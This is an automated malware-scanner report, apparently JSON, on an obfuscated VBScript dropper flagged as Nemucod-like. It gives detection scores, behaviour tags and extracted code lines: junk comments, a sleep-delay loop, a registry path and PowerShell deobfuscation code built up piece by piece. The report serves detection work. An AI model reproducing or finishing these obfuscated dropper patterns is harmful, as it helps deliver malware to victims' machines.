{
  "ml": {
    "l": -1,
    "v": "6",
    "fs": [
      {
        "l": -1,
        "id": 0,
        "prob": 0.9434438943862915
      }
    ],
    "prob": 0.9434439,
    "models": [
      {
        "m": "az",
        "prob": 0.9434439,
        "class": 0
      },
      {
        "m": "az/vbs",
        "prob": 0.7777778,
        "class": 0
      }
    ],
    "version": "v17.17",
    "analyzed_at": "2026-06-02T07:42:36Z"
  },
  "path": "87d5236faacae1a72e48bb920c42409a6ac8fb3e7cb113d455966caff8026eb6.vbs",
  "raw": {
    "v": "6",
    "fs": [
      {
        "f": "H₂(Os₂Po)Md",
        "x": 4,
        "ff": {
          "m": {
            "file": {
              "size": 88127.0,
              "entropy": 5.24,
              "size_bytes": 88127.0
            },
            "text": {
              "tab_count": 1.0,
              "digit_ratio": 0.03,
              "space_count": 7253.0,
              "total_lines": 2329.0,
              "char_entropy": 5.24,
              "mixed_indent": 1.0,
              "unique_chars": 94.0,
              "avg_line_length": 35.84,
              "max_line_length": 132.0,
              "empty_line_ratio": 0.05,
              "last_line_length": 29.0,
              "whitespace_ratio": 0.14,
              "most_common_ratio": 0.12,
              "line_length_stddev": 17.08,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 3.0,
              "trailing_whitespace_lines": 19.0,
              "most_common_char_codepoint": 101.0
            },
            "binary": {
              "overall_entropy": 5.24
            }
          },
          "s": [
            [
              2,
              "u8",
              "'nonimmigrant forflyttelsespligternes110: middlehand madeira"
            ],
            [
              64,
              "u8",
              "Ophthalmophthisis183 = \"gteskabssagernes\""
            ],
            [
              109,
              "u8",
              "'Unbrutize, oks; solbrrom grundyist krydderiets"
            ],
            [
              158,
              "u8",
              "'Nonbenevolence fortrydende"
            ],
            [
              187,
              "u8",
              "'Anlbet erhverssygdomslisternes203"
            ],
            [
              223,
              "u8",
              "Gnomeking \u0026H80000002, \"SOFTWARE\\Classes\\VBS\" + \"File\""
            ],
            [
              280,
              "u8",
              "Snawsvexatiouslymund = Command"
            ],
            [
              315,
              "u8",
              "'Korsridder241? unspuriously, dawen"
            ],
            [
              354,
              "u8",
              "'Rntgenfotograferendes, dianisidine? nitrating105 wisdom: procommission"
            ],
            [
              427,
              "u8",
              "'Separatisternes regretful? spndetampenes42: torer157"
            ],
            [
              484,
              "u8",
              "'Sarcoptic, bnderpigernes,"
            ],
            [
              512,
              "u8",
              "Curlylocks = \u0026HF3E5"
            ],
            [
              533,
              "u8",
              "Mythopoetical = \u0026H2475"
            ],
            [
              557,
              "u8",
              "Fernissages = 4163"
            ],
            [
              577,
              "u8",
              "Purebred = \"fdens vedtager;\""
            ],
            [
              607,
              "u8",
              "Zidas = \u0026HAB04"
            ],
            [
              623,
              "u8",
              "Overfyldt = -55303"
            ],
            [
              643,
              "u8",
              "Vaabenstyringssystemet = \"Sidemargenerne nullary?\""
            ],
            [
              695,
              "u8",
              "Polypinnate = -703"
            ],
            [
              715,
              "u8",
              "Subskribenten = -25810"
            ],
            [
              739,
              "u8",
              "Depreciators = -19713"
            ],
            [
              762,
              "u8",
              "Morley = \"Prciswhr spolormen?\""
            ],
            [
              794,
              "u8",
              "Udviklingsomraadets188 = 51036"
            ],
            [
              826,
              "u8",
              "Valkyrierne = \"rondelet! lallendes!\""
            ],
            [
              864,
              "u8",
              "Biopsiers135 = 15723"
            ],
            [
              886,
              "u8",
              "Blatant = \u0026H2E9C"
            ],
            [
              904,
              "u8",
              "Voldgiftsdomme = 51807"
            ],
            [
              928,
              "u8",
              "genopfriskninger = 35588"
            ],
            [
              954,
              "u8",
              "Viridities = -24544"
            ],
            [
              975,
              "u8",
              "Forhaanes98 = \"Cassiuss? overextending\""
            ],
            [
              1016,
              "u8",
              "Strumulose = \u0026H3208"
            ],
            [
              1037,
              "u8",
              "Boomerangen = 34"
            ],
            [
              1055,
              "u8",
              "'Baadsmnd radiomodtagere transpirationen"
            ],
            [
              1097,
              "u8",
              "'overclogged, liberalised. passiven. afholdshotellers fellmonger"
            ],
            [
              1163,
              "u8",
              "'Filterprogrammet haandtryk. titillate bhaiachara;"
            ],
            [
              1217,
              "u8",
              "'Exsheath! virksomhedstyper!"
            ],
            [
              1247,
              "u8",
              "'Augmentets, kommissrers"
            ],
            [
              1273,
              "u8",
              "Dim Sidemargenerne"
            ],
            [
              1293,
              "u8",
              "Sidemargenerne = DateAdd(\"s\", 9, Now())"
            ],
            [
              1334,
              "u8",
              "'Ultradolichocephaly lyhne. liasing; sendemanden:"
            ],
            [
              1385,
              "u8",
              "Do Until (Now() \u003e Sidemargenerne)"
            ],
            [
              1420,
              "u8",
              "'Nederdrgtigheds! diskriminxzr"
            ],
            [
              1452,
              "u8",
              "Wscript.Sleep 100"
            ],
            [
              1471,
              "u8",
              "'Mangelwurzel riksdag. viljes! arivaipa."
            ],
            [
              1513,
              "u8",
              "'Sidearms callipering40 udvksten. pyosepticemia,"
            ],
            [
              1563,
              "u8",
              "'accelererer! iodoso?"
            ],
            [
              1586,
              "u8",
              "Ecstasis = Ecstasis + 1"
            ],
            [
              1611,
              "u8",
              "'Odontotyrannus coordain:"
            ],
            [
              1638,
              "u8",
              "Loop"
            ],
            [
              1644,
              "u8",
              "Porgo= array(79+1,79,87,69,82,83,72,69,76,76)"
            ],
            [
              1693,
              "u8",
              "'Lftningens servetian uddataenes erecters booste"
            ],
            [
              1743,
              "u8",
              "'Sympatiernes! overtagelsesdages armagnacer oceanographist! vanaprastha?"
            ],
            [
              1817,
              "u8",
              "'Adgangsbetingelserne nodded; ketones linienummerets; mezzotinted:"
            ],
            [
              1885,
              "u8",
              "'Avlshopper. twalpenny stewardships"
            ],
            [
              1922,
              "u8",
              "'Youthlikeness. signific4:"
            ],
            [
              1952,
              "u8",
              "'forstenet athabasca. kbenhavns; sproglaboratoriet? reductorial"
            ],
            [
              2017,
              "u8",
              "'Lithology! proprietr! spectrometric? bloks: duellantens"
            ],
            [
              2075,
              "u8",
              "Oxeye = Oxeye \u0026 \"Get-DiskSNV;\""
            ],
            [
              2107,
              "u8",
              "'Indtegn. distingveredes aphylly: evanesced89"
            ],
            [
              2154,
              "u8",
              "Oxeye = Oxeye \u0026 \"func\""
            ],
            [
              2178,
              "u8",
              "'Erstatningsrets! butyrate! straffeprdiken! nontransmission;"
            ],
            [
              2240,
              "u8",
              "'filmhistorie: nonbotanic."
            ],
            [
              2268,
              "u8",
              "Oxeye = Oxeye \u0026 \"tion Fug\""
            ],
            [
              2296,
              "u8",
              "Oxeye = Oxeye \u0026 \"lebog\""
            ],
            [
              2321,
              "u8",
              "'Fondsdannelses39. anorthographic215; uformaaenheds;"
            ],
            [
              2375,
              "u8",
              "'Improbable; inddrivningerne smoucher"
            ],
            [
              2440,
              "u8",
              "'Paraffineredes triticale; marthinuss"
            ],
            [
              2479,
              "u8",
              "Oxeye = Oxeye \u0026 \"hertu\""
            ],
            [
              2504,
              "u8",
              "Oxeye = Oxeye \u0026 \"gens\""
            ],
            [
              2528,
              "u8",
              "'Yielding162! transitionary, forsoningsscenernes gldsposts"
            ],
            [
              2588,
              "u8",
              "Oxeye = Oxeye \u0026 \"){ $earfuls=\""
            ],
            [
              2620,
              "u8",
              "'Raastofeftersgningen95? synkretiseringers forstuvende, elmaalere"
            ],
            [
              2718,
              "u8",
              "Oxeye = Oxeye \u0026 \"pressers+=$\""
            ],
            [
              2749,
              "u8",
              "'Applicering cayenne redekam;"
            ],
            [
              2780,
              "u8",
              "'Overloves: unured! tiologien!"
            ],
            [
              2812,
              "u8",
              "'Kilohertzene scurvy,"
            ],
            [
              2835,
              "u8",
              "Oxeye = Oxeye \u0026 \"hertugens[$e\""
            ],
            [
              2867,
              "u8",
              "'Ballerinaskoens delstenshandlers efterlnnen rocta."
            ],
            [
              2920,
              "u8",
              "'mgbeskidte gripment56. enkeltopslagene252: hydatids."
            ],
            [
              2975,
              "u8",
              "Oxeye = Oxeye \u0026 \"arful\""
            ],
            [
              3000,
              "u8",
              "'Stranguleringernes unsieved;"
            ],
            [
              3031,
              "u8",
              "'Fravalgenes; oversubtle underpriced tyranness225, caso"
            ],
            [
              3113,
              "u8",
              "'Quinazoline? covercle electromyograms"
            ],
            [
              3153,
              "u8",
              "Oxeye = Oxeye \u0026 \"onparishi\""
            ],
            [
              3182,
              "u8",
              "'Kammerateri, integral individualismens verticaling?"
            ],
            [
              3236,
              "u8",
              "'Konditorierne? aliners50; famulative andelssystemers119; manteaus."
            ],
            [
              3305,
              "u8",
              "'Regionalismes spicy formaal: christmas colutea"
            ],
            [
              3379,
              "u8",
              "'Sandsynliggres outraves,"
            ],
            [
              3406,
              "u8",
              "Oxeye = Oxeye \u0026 \"Compare-Obje\""
            ],
            [
              3438,
              "u8",
              "'Liposome: drslag bugfinnerne elevskolerne145 spermophilus"
            ],
            [
              3498,
              "u8",
              "'Afbigts processorhastighed: trimodal impeaches?"
            ],
            [
              3548,
              "u8",
              "'Chalup fritstille; gustnes"
            ],
            [
              3577,
              "u8",
              "Oxeye = Oxeye \u0026 \"ct skibsti\""
            ],
            [
              3607,
              "u8",
              "'Symbiotes; skrubsakkers? tailorisation"
            ],
            [
              3648,
              "u8",
              "'Revisualisation tykstegens; pyrophone"
            ],
            [
              3688,
              "u8",
              "'Haemanthus ferskener; rynchosporous, bargelike,"
            ],
            [
              3738,
              "u8",
              "Oxeye = Oxeye \u0026 \"lsynene\""
            ],
            [
              3765,
              "u8",
              "'Udsend slappesticknumres rooing initiativriges hudsygdom"
            ],
            [
              3854,
              "u8",
              "'antihistaminernes! boulangism; adenolipomatosis, nanomelus;"
            ],
            [
              3916,
              "u8",
              "Oxeye = Oxeye \u0026 \"arfu\""
            ],
            [
              3966,
              "u8",
              "'Bestaaelseskraverne? mellemhandleres, fractionator. desmodont,"
            ],
            [
              4031,
              "u8",
              "'Forsideartikler typophile elsdyr preallowance: fulmina:"
            ],
            [
              4117,
              "u8",
              "'Facet reila, rgre104 retrogressionist"
            ],
            [
              4157,
              "u8",
              "'Necessitative: finals: restordrer evocations smaabrnsstuernes"
            ],
            [
              4221,
              "u8",
              "'Carbonite seminvariantive? grundregler? kloakledning."
            ],
            [
              4277,
              "u8",
              "Oxeye = Oxeye \u0026 \"$hertugen\""
            ],
            [
              4331,
              "u8",
              "Oxeye = Oxeye \u0026 \"rfuls\""
            ],
            [
              4356,
              "u8",
              "'lysestagen tebrevene muldvarpearbejder154!"
            ],
            [
              4401,
              "u8",
              "'Supracretaceous farveblyanterne firer tearage"
            ],
            [
              4449,
              "u8",
              "'Beskadigende! plisseringen spirochaetes"
            ],
            [
              4491,
              "u8",
              "'Mles! vgtes saddens?"
            ],
            [
              4514,
              "u8",
              "Oxeye = Oxeye \u0026 \"])$hjrepre\""
            ],
            [
              4544,
              "u8",
              "'Kkkenredskaber: tertiaries? hngetr?"
            ],
            [
              4582,
              "u8",
              "Oxeye = Oxeye \u0026 \"ssers}functi\""
            ],
            [
              4614,
              "u8",
              "'Predepreciation! angioclast."
            ],
            [
              4645,
              "u8",
              "Oxeye = Oxeye \u0026 \"on Ompriorit\""
            ],
            [
              4677,
              "u8",
              "'Provinsboer? disquiparation209; subarachnoid"
            ],
            [
              4724,
              "u8",
              "Oxeye = Oxeye \u0026 \"erend\""
            ],
            [
              4749,
              "u8",
              "'Micheline; inequiaxial! afladshandlens: sarcophaga stiletters"
            ],
            [
              4813,
              "u8",
              "'frelseren supercolossally, neobalaena; boligblokkerne? turbine71"
            ],
            [
              4906,
              "u8",
              "Centrotuswolfishlyhelle = RightB(\"Thaumaturgi\",59)"
            ],
            [
              4961,
              "u8",
              "'Aagerprisers vaux undesire: glycerophosphoric? mormaor5"
            ],
            [
              5019,
              "u8",
              "'Rayonnance, uddeliggrelsernes:"
            ],
            [
              5052,
              "u8",
              "Oxeye = Oxeye \u0026 \"skrmskemae\""
            ],
            [
              5106,
              "u8",
              "'Pulahanes duarchies175 arbejdsformidlingers!"
            ],
            [
              5153,
              "u8",
              "'Petitionproof? bms! betongulve"
            ],
            [
              5186,
              "u8",
              "Oxeye = Oxeye \u0026 \".($meinha\""
            ],
            [
              5215,
              "u8",
              "'frikadellers instinctively sukkerslik"
            ],
            [
              5255,
              "u8",
              "'Aspirate aftrykkendes: grillerings"
            ],
            [
              5343,
              "u8",
              "'Mopboard. udmntningsprofils. tammanyite! promulges"
            ],
            [
              5396,
              "u8",
              "Oxeye = Oxeye \u0026 \"skemaets)}$r\""
            ],
            [
              5428,
              "u8",
              "'Nonconstruability! afmejet! hydrogen"
            ],
            [
              5467,
              "u8",
              "'Basrelieffer; citationers libelists,"
            ],
            [
              5506,
              "u8",
              "'Preadministrative grandiloquent; fibromyitis mauritanian"
            ],
            [
              5565,
              "u8",
              "Oxeye = Oxeye \u0026 \"ekeys\""
            ],
            [
              5590,
              "u8",
              "Oxeye = Oxeye \u0026 \"159=Fuglebo\""
            ],
            [
              5621,
              "u8",
              "'Impressionable kapitlers nationalejendom:"
            ],
            [
              5693,
              "u8",
              "'Tordens? forretningsaftale"
            ],
            [
              5754,
              "u8",
              "'Staple overbitten? outfabled"
            ],
            [
              5785,
              "u8",
              "'Antemetallic; geebung dissolvable uvidenhed"
            ],
            [
              5857,
              "u8",
              "'begroningen. spectatress rauli? chiropody! flugtskydningsbanen."
            ],
            [
              5923,
              "u8",
              "'Indstvnendes! gadeareal kleptomanist! noncursively, adresselistens."
            ],
            [
              5993,
              "u8",
              "Oxeye = Oxeye \u0026 \".***w';$\""
            ],
            [
              6021,
              "u8",
              "Oxeye = Oxeye \u0026 \"rekeys15\""
            ],
            [
              6049,
              "u8",
              "'Paralyzedlies coelin! hemiterpene137"
            ],
            [
              6112,
              "u8",
              "Oxeye = Oxeye \u0026 \"ugleb\""
            ],
            [
              6137,
              "u8",
              "Oxeye = Oxeye \u0026 \"ogens\""
            ],
            [
              6162,
              "u8",
              "Oxeye = Oxeye \u0026 \" '6666E\""
            ],
            [
              6189,
              "u8",
              "'Nonsuccessionally. chegoe snkningsomraaderne"
            ],
            [
              6236,
              "u8",
              "'Medians unornamented176; morros."
            ],
            [
              6271,
              "u8",
              "Oxeye = Oxeye \u0026 \"66 6b6\""
            ],
            [
              6297,
              "u8",
              "'Smocks urigtigheder,"
            ],
            [
              6320,
              "u8",
              "'Enmew? whipple192 slamsugers: solsikkekernes"
            ],
            [
              6367,
              "u8",
              "Oxeye = Oxeye \u0026 \"666C \""
            ],
            [
              6392,
              "u8",
              "Oxeye = Oxeye \u0026 \".66L.666I66\""
            ],
            [
              6423,
              "u8",
              "'Klevarer underhandlerne37 ansjoser disarming! entomotomist:"
            ],
            [
              6485,
              "u8",
              "Oxeye = Oxeye \u0026 \"66E6666n666\""
            ],
            [
              6546,
              "u8",
              "'Strooken, reprinter: brawlis afvnningers"
            ],
            [
              6589,
              "u8",
              "'kabelfabrik loessic dovefoot nonconfitent."
            ],
            [
              6634,
              "u8",
              "Oxeye = Oxeye \u0026 \"ngmen\""
            ],
            [
              6659,
              "u8",
              "'Petted158 lunkningernes! hermitries fun?"
            ],
            [
              6702,
              "u8",
              "'skolaren? heteroseksualiteten, runeindskriften bilejernes"
            ],
            [
              6762,
              "u8",
              "'Laddene, millennia colonelcy? usefulness uudtalt?"
            ],
            [
              6838,
              "u8",
              "'Foelelsesladet dreamlikeness. dejects"
            ],
            [
              6878,
              "u8",
              "Oxeye = Oxeye \u0026 \"gleboge\""
            ],
            [
              6905,
              "u8",
              "'Knapstvle100, bydemaadens: treadling16? cadouk? deaconed?"
            ],
            [
              6965,
              "u8",
              "'Mellemstaders? overtoning"
            ],
            [
              6993,
              "u8",
              "Oxeye = Oxeye \u0026 \"ns 'UUU\""
            ],
            [
              7020,
              "u8",
              "'flovserne? erhvervsraad chiko:"
            ],
            [
              7053,
              "u8",
              "'Depositumbevisers? prechloroform? centrifugalkrfternes; nothingizes afmnstringers:"
            ],
            [
              7138,
              "u8",
              "Oxeye = Oxeye \u0026 \"UMUUUUo U\""
            ],
            [
              7167,
              "u8",
              "'Speeded storforbrugeres!"
            ],
            [
              7194,
              "u8",
              "Oxeye = Oxeye \u0026 \"UUzUU\""
            ],
            [
              7221,
              "u8",
              "Practicingstokespreten = LeftB(\"Recompress\",166)"
            ],
            [
              7274,
              "u8",
              "'Aftalepartnerenes unconvened,"
            ],
            [
              7306,
              "u8",
              "'Jackstone: vanskabningerne whirried"
            ],
            [
              7344,
              "u8",
              "'Blandedes syvende! undstning: flkhamre."
            ],
            [
              7386,
              "u8",
              "Oxeye = Oxeye \u0026 \"U iUUU\""
            ],
            [
              7412,
              "u8",
              "'Femkampenes; titelblads. antiteser244? legislatress"
            ],
            [
              7466,
              "u8",
              "Oxeye = Oxeye \u0026 \"UlUU\""
            ],
            [
              7490,
              "u8",
              "'Sladderagtiges? frkenernes chromatician! ukiyoye,"
            ],
            [
              7542,
              "u8",
              "'Monandria? danskudviklede: elmar oliekildens234"
            ],
            [
              7592,
              "u8",
              "Oxeye = Oxeye \u0026 \"U lUUUUaU\""
            ],
            [
              7621,
              "u8",
              "'Toilers154! sedimentre49?"
            ],
            [
              7649,
              "u8",
              "Oxeye = Oxeye \u0026 \"UUU/';$oppos\""
            ],
            [
              7681,
              "xor",
              "Ctiui,1,Ctiui,*,.execb"
            ],
            [
              7710,
              "u8",
              "'Afsvampe. plissau, lub"
            ],
            [
              7735,
              "u8",
              "Oxeye = Oxeye \u0026 \"tier\""
            ],
            [
              7759,
              "u8",
              "'Sphenocephalic20 reservation? dismastment lemonader."
            ],
            [
              7814,
              "u8",
              "'Twinhood indianajones, obduktionerne?"
            ],
            [
              7854,
              "u8",
              "Oxeye = Oxeye \u0026 \"s=Fugleboge\""
            ],
            [
              7885,
              "u8",
              "'Guldgruber patmian! pedantically presidia135, selvskyldnerkautionen,"
            ],
            [
              7956,
              "u8",
              "'Abandonnerendes thermochemistry. planmssiges preaggression178. regress."
            ],
            [
              8030,
              "u8",
              "'Seksualdrifters; uptwined, statshemmeligheder. comptonite,"
            ],
            [
              8149,
              "u8",
              "'Husdyrsygdommene hjlpekasserne, nonmaliciously reorganiserer?"
            ],
            [
              8244,
              "u8",
              "'Prediscontinuation113 mummery marginspekulation avenuerne"
            ],
            [
              8304,
              "u8",
              "'Virkemidlets miskals; betraadtes valfartsstedernes; rebuckle"
            ],
            [
              8367,
              "u8",
              "'Almoderligt urinometre tvredes"
            ],
            [
              8400,
              "u8",
              "Oxeye = Oxeye \u0026 \"';$anlgs\""
            ],
            [
              8459,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBB[BB BNB\""
            ],
            [
              8489,
              "u8",
              "'Dispensatress, thegither. sikkerhedsafdkninger phlorone;"
            ],
            [
              8548,
              "u8",
              "'Subdiapason: ironikers"
            ],
            [
              8573,
              "u8",
              "'Disembark; sensibilization, twinter. yonker"
            ],
            [
              8619,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBBEBBBBTB\""
            ],
            [
              8649,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBB. \""
            ],
            [
              8674,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBBs\""
            ],
            [
              8698,
              "u8",
              "'Ungrassy: tuskendes."
            ],
            [
              8721,
              "u8",
              "'Bodysurfs40 nonadjudication"
            ],
            [
              8751,
              "u8",
              "'Eurus227, ignoramuses lecturer venneslt udskivnings"
            ],
            [
              8805,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBBBeB \""
            ],
            [
              8832,
              "u8",
              "'Encephalosis? frikassiber;"
            ],
            [
              8861,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBRBB\""
            ],
            [
              8886,
              "u8",
              "'Tegnende cresols rhabdocoelidan nedrustninger!"
            ],
            [
              8935,
              "u8",
              "'Caser saka galdebrrene,"
            ],
            [
              8961,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBVBBBBI BB\""
            ],
            [
              8992,
              "u8",
              "'Prolongationer tal?"
            ],
            [
              9014,
              "u8",
              "Oxeye = Oxeye \u0026 \"BcBBBBEB\""
            ],
            [
              9042,
              "u8",
              "Oxeye = Oxeye \u0026 \" BBPBBBBO BB\""
            ],
            [
              9076,
              "u8",
              "Domestiskesmoorboli = RTrim(\"Babacoote\")"
            ],
            [
              9120,
              "u8",
              "'Modalistic! superpose."
            ],
            [
              9145,
              "u8",
              "Oxeye = Oxeye \u0026 \"Bi BBBNBBBBt\""
            ],
            [
              9177,
              "u8",
              "'Rumsterede trekantdramaets dagpengesatser? understtningernes"
            ],
            [
              9240,
              "u8",
              "Oxeye = Oxeye \u0026 \"BB BMBBBBaB\""
            ],
            [
              9271,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBBNBBBBA B\""
            ],
            [
              9302,
              "u8",
              "'Kammerater: poplyd colfox: tetanization unclipper;"
            ],
            [
              9355,
              "u8",
              "'Decontaminative49 primed; stimet:"
            ],
            [
              9391,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBg B.BE  \""
            ],
            [
              9421,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBRBBB.]BB\""
            ],
            [
              9453,
              "u8",
              "Rhigolenewhiteshankhayeyj = RightB(\"Mellemteknikernes\",0)"
            ],
            [
              9515,
              "u8",
              "'Desintegrerendes165 cylinderer60. plaidernes frkeners; bites"
            ],
            [
              9604,
              "u8",
              "Oxeye = Oxeye \u0026 \" :BB BS\""
            ],
            [
              9631,
              "u8",
              "'Spejlmonograms? agrarkonomers? liripoop bedazed, justments."
            ],
            [
              9693,
              "u8",
              "'Maskinisering. ordenshistoriograf; sardellerne:"
            ],
            [
              9743,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBBBE BB\""
            ],
            [
              9771,
              "u8",
              "'Reframe: skossernes mekometer208"
            ],
            [
              9806,
              "u8",
              "Oxeye = Oxeye \u0026 \"Bc BBBuBBBBR\""
            ],
            [
              9838,
              "u8",
              "'Antipode outsteam110:"
            ],
            [
              9862,
              "u8",
              "'Skjulestedernes52 politiadvokater."
            ],
            [
              9899,
              "u8",
              "'Emissionsforgelsens, summula rigsfyrstens, bawtie tragopogon"
            ],
            [
              9962,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBBBiBBB\""
            ],
            [
              9990,
              "u8",
              "'Restr skdehundenes grnses25, satinere ninja142"
            ],
            [
              10039,
              "u8",
              "'Ambulancekrsel153 kulturomraaderne, interviewrunde; kostskolers;"
            ],
            [
              10106,
              "u8",
              "Oxeye = Oxeye \u0026 \"BTBBBBY BBB\""
            ],
            [
              10137,
              "u8",
              "'Calycled! kameernes gaul57 multiloquent"
            ],
            [
              10179,
              "u8",
              "'Driftsspnding! mopper:"
            ],
            [
              10204,
              "u8",
              "'Thermogenous? garderofficererne199 individfils; vandringers."
            ],
            [
              10267,
              "u8",
              "'Skikkens: produktkontrollen"
            ],
            [
              10321,
              "u8",
              "Oxeye = Oxeye \u0026 \"BRBBBBo\""
            ],
            [
              10348,
              "u8",
              "'Heather parasoller,"
            ],
            [
              10370,
              "u8",
              "'Talukas luckiness"
            ],
            [
              10390,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBBBT B BoBB\""
            ],
            [
              10422,
              "u8",
              "'Limbeck? spildevandsplaners sterlingslv"
            ],
            [
              10464,
              "u8",
              "'Motiveless frequenter. fdselskontrollens. pointberegning!"
            ],
            [
              10524,
              "u8",
              "Oxeye = Oxeye \u0026 \"BBC BB\""
            ],
            [
              10550,
              "u8",
              "'Preobservation; parbuckled! filebnkenes? appelsinskaller tapissier"
            ],
            [
              10619,
              "u8",
              "Oxeye = Oxeye \u0026 \"BOBBBBlBB\""
            ]
          ],
          "v": {
            "file.stem": "87d5236faacae1a72e48bb920c42409a6ac8fb3e7cb113d455966caff8026eb6",
            "file.basename": "87d5236faacae1a72e48bb920c42409a6ac8fb3e7cb113d455966caff8026eb6.vbs"
          },
          "id": "vbs"
        },
        "id": 0,
        "sz": 88127,
        "ts": [
          {
            "c": 0.8799999952316284,
            "d": "VB6 binary file get",
            "e": [
              "Get"
            ],
            "i": "micro-behaviors/fs/file/read::vb6-get-binary-source",
            "l": 2
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 2329.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1110.001",
            "c": 0.4000000059604645,
            "d": "Weak password master",
            "e": [
              "master"
            ],
            "i": "objectives/lateral-movement/brute-force/password::weak-pass-master",
            "l": 1,
            "m": "E1110"
          },
          {
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "Defender"
            ],
            "i": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-7",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Assembly LOOP",
            "e": [
              "Loop\r\nPorgo"
            ],
            "i": "micro-behaviors/crypto/symmetric/xor/lodsb::asm-loop-dup",
            "l": 1
          },
          {
            "c": 0.7200000286102295,
            "d": "LLM instruction context",
            "e": [
              "prompt"
            ],
            "i": "micro-behaviors/data/text/llm/override::llm-instruction-context",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Nemucod WSH fragment Shell",
            "e": [
              "Oppositionspolitikere = \"Shell\""
            ],
            "i": "well-known/malware/dropper/nemucod::nemucod-wsh-fragment-shell",
            "l": 1
          },
          {
            "a": "T1110.001",
            "c": 0.8500000238418579,
            "d": "Service account redis",
            "e": [
              "redis"
            ],
            "i": "objectives/lateral-movement/brute-force/password::service-account-redis",
            "l": 1,
            "m": "E1110"
          },
          {
            "c": 0.8500000238418579,
            "d": "Shell.Application ProgID string",
            "e": [
              "Shell.Application"
            ],
            "i": "micro-behaviors/os/com/object::shell-application-progid",
            "l": 3
          },
          {
            "c": 0.8799999952316284,
            "d": "VB6 binary file put",
            "e": [
              "Put"
            ],
            "i": "micro-behaviors/fs/file/write/direct::vb6-put-binary-source",
            "l": 2
          },
          {
            "c": 0.20000000298023224,
            "d": "crypto keyword (substr, catches imports)",
            "e": [
              "crypto"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::crypto-substr",
            "l": 1
          },
          {
            "c": 0.20000000298023224,
            "d": "command keyword",
            "e": [
              "command"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::command-dup",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.4000000059604645,
            "d": "Generic cmd/command/result field word fragment",
            "e": [
              "Command"
            ],
            "i": "objectives/command-and-control/beacon/network/json::result-command-word",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.8999999761581421,
            "d": "Reference to a UNC network share path",
            "e": [
              "\\\\L\\"
            ],
            "i": "micro-behaviors/os/wmi/manipulate::unc-path-reference",
            "l": 3
          },
          {
            "a": "T1110.001",
            "c": 0.4000000059604645,
            "d": "Weak password dragon",
            "e": [
              "dragon"
            ],
            "i": "objectives/lateral-movement/brute-force/password::weak-pass-dragon",
            "l": 1,
            "m": "E1110"
          },
          {
            "c": 0.8799999952316284,
            "d": "Shell or CreateObject invocation",
            "e": [
              "CreateObject("
            ],
            "i": "micro-behaviors/process/create/macro/office::shell-or-createobject-call",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "\u003cbinary data\u003e \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3,
            "el": [
              "offset:84260"
            ]
          }
        ],
        "sha": "87d5236faacae1a72e48bb920c42409a6ac8fb3e7cb113d455966caff8026eb6",
        "path": "87d5236faacae1a72e48bb920c42409a6ac8fb3e7cb113d455966caff8026eb6.vbs",
        "type": "vbs"
      }
    ],
    "tv": "ed903"
  }
}